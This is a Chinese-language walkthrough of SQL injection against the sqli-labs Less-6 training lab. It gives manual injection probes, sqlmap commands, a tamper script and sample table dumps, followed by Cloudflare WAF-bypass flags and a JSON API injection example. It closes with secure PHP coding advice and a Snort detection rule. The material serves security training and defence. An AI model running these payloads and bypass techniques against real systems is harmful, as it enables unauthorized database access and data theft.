1. 项目背景与核心挑战
sqli-labs是一个专门用于学习SQL注入技术的开源靶场环境,其中Less-6作为双引号闭合的注入场景,常让初学者感到棘手。这个关卡的特殊性在于:服务端使用双引号包裹用户输入,而大多数自动化工具默认假设是单引号场景,导致直接使用sqlmap等工具时往往无法正确识别注入点。
我在实际渗透测试工作中发现,许多初级安全工程师遇到双引号闭合的注入场景时,往往陷入反复尝试却无法突破的困境。这促使我深入研究针对此类特殊闭合方式的自动化注入方法,最终形成了一套稳定可靠的解决方案。
2. 环境准备与基础分析
2.1 靶场环境搭建
首先需要配置好测试环境:
code复制git clone https://github.com/Audi-1/sqli-labs
cd sqli-labs/sql-connections
# 修改db-creds.inc文件中的数据库配置
php -S localhost:8080
关键点在于确保Less-6关卡可正常访问:
- 访问
http://localhost:8080/Less-6/ - 输入
id=1"时应当出现SQL语法错误 - 输入
id=1" --+时页面恢复正常
2.2 注入点特征分析
通过手工测试确认注入特征:
- 正常请求:
?id=1 - 触发错误:
?id=1"→ 返回数据库错误信息 - 注释测试:
?id=1" --+→ 页面正常显示 - 逻辑测试:
?id=1" and 1=1 --+→ 正常
?id=1" and 1=2 --+→ 无结果
这证实了注入点确实使用双引号闭合,且后端SQL语句结构大致为:
sql复制SELECT * FROM users WHERE id="$input" LIMIT 0,1
3. 自动化注入方案设计
3.1 sqlmap定制化配置
直接运行sqlmap -u "http://localhost:8080/Less-6/?id=1"会失败,因为默认payload使用单引号。需要通过以下参数适配:
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='"' \
--suffix='--+' \
--level=3 \
--risk=3
关键参数说明:
--prefix='"':指定payload前添加双引号--suffix='--+':自动追加注释符--tamper=chardoubleencode:处理双引号编码问题--dbms=mysql:明确指定数据库类型加速检测
3.2 自定义tamper脚本
对于更复杂的环境,可以编写tamper脚本处理双引号:
python复制# doublequote.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return '"' + payload.replace('"', '\\"') + '--+'
使用时添加--tamper=doublequote参数。
4. 分步注入过程实录
4.1 数据库指纹识别
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='"' --suffix='--+' \
--banner --current-user --current-db
典型输出:
code复制[12:34:56] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.29-0ubuntu0.18.04.1'
current user: 'root@localhost'
current database: 'security'
4.2 表结构枚举
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='"' --suffix='--+' \
-D security --tables
关键输出:
code复制Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
4.3 数据提取技巧
提取users表数据时的优化方案:
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='"' --suffix='--+' \
-D security -T users --dump \
--batch --threads=5 \
--output-dir=./results
注意:高并发请求可能触发WAF防护,实际测试中建议先使用
--threads=1测试稳定性
5. 常见问题与解决方案
5.1 编码问题处理
当遇到URL特殊字符问题时,可以尝试:
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='%22' \ # 双引号URL编码
--suffix='--%2B' \ # --+的URL编码
--skip-urlencode
5.2 WAF绕过技术
针对Cloudflare等WAF的绕过方案:
- 使用
--random-agent随机化User-Agent - 添加
--delay=2降低请求频率 - 配合
--chunked使用分块编码 - 启用
--hpp参数污染技术
5.3 性能优化技巧
大规模数据提取时的优化策略:
--keep-alive保持连接--null-connection获取响应长度而不下载内容--optimize启用所有优化开关--predict-output预测输出格式加速检测
6. 防御方案与检测方法
6.1 安全开发建议
针对双引号闭合场景的安全编码:
php复制// 不安全写法
$query = "SELECT * FROM users WHERE id=\"$_GET[id]\"";
// 安全写法1:预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
// 安全写法2:过滤+转义
$id = '"' . addslashes($_GET['id']) . '"';
$query = "SELECT * FROM users WHERE id=$id";
6.2 入侵检测规则
针对此类注入的Snort规则示例:
code复制alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS \
(msg:"SQL Injection - Double Quote Detected"; \
flow:to_server,established; \
content:"%22"; nocase; \
pcre:"/(\%22|\")(\s|\+)*(and|or|select|union)/i"; \
sid:1000001; rev:1;)
7. 扩展应用场景
7.1 JSON接口注入测试
现代Web应用中常见的JSON注入场景:
bash复制sqlmap -u "http://api.example.com/v1/user" \
--data='{"id":"1*"}' \
--prefix='"' --suffix='--+' \
--headers="Content-Type: application/json"
7.2 盲注场景优化
当遇到基于时间的盲注时:
bash复制sqlmap -u "http://localhost:8080/Less-6/?id=1" \
--prefix='"' --suffix='--+' \
--technique=T \
--time-sec=5 \
--union-char=123 \
--hex
关键参数:
--technique=T指定时间盲注--time-sec设置延迟基准--hex使用十六进制编码避免字符集问题
这套方法同样适用于其他双引号闭合场景,包括但不限于:
- 搜索功能:
search="keyword" - 排序参数:
order="column_name" - JSON/XML API中的字符串参数
- 各种现代框架中的查询构造器
在实际渗透测试中,遇到双引号闭合的注入点不必慌张,通过合理配置sqlmap参数或编写定制化tamper脚本,完全可以实现高效准确的自动化注入。建议安全工程师在日常工作中建立自己的tamper脚本库,针对不同类型的注入场景积累解决方案。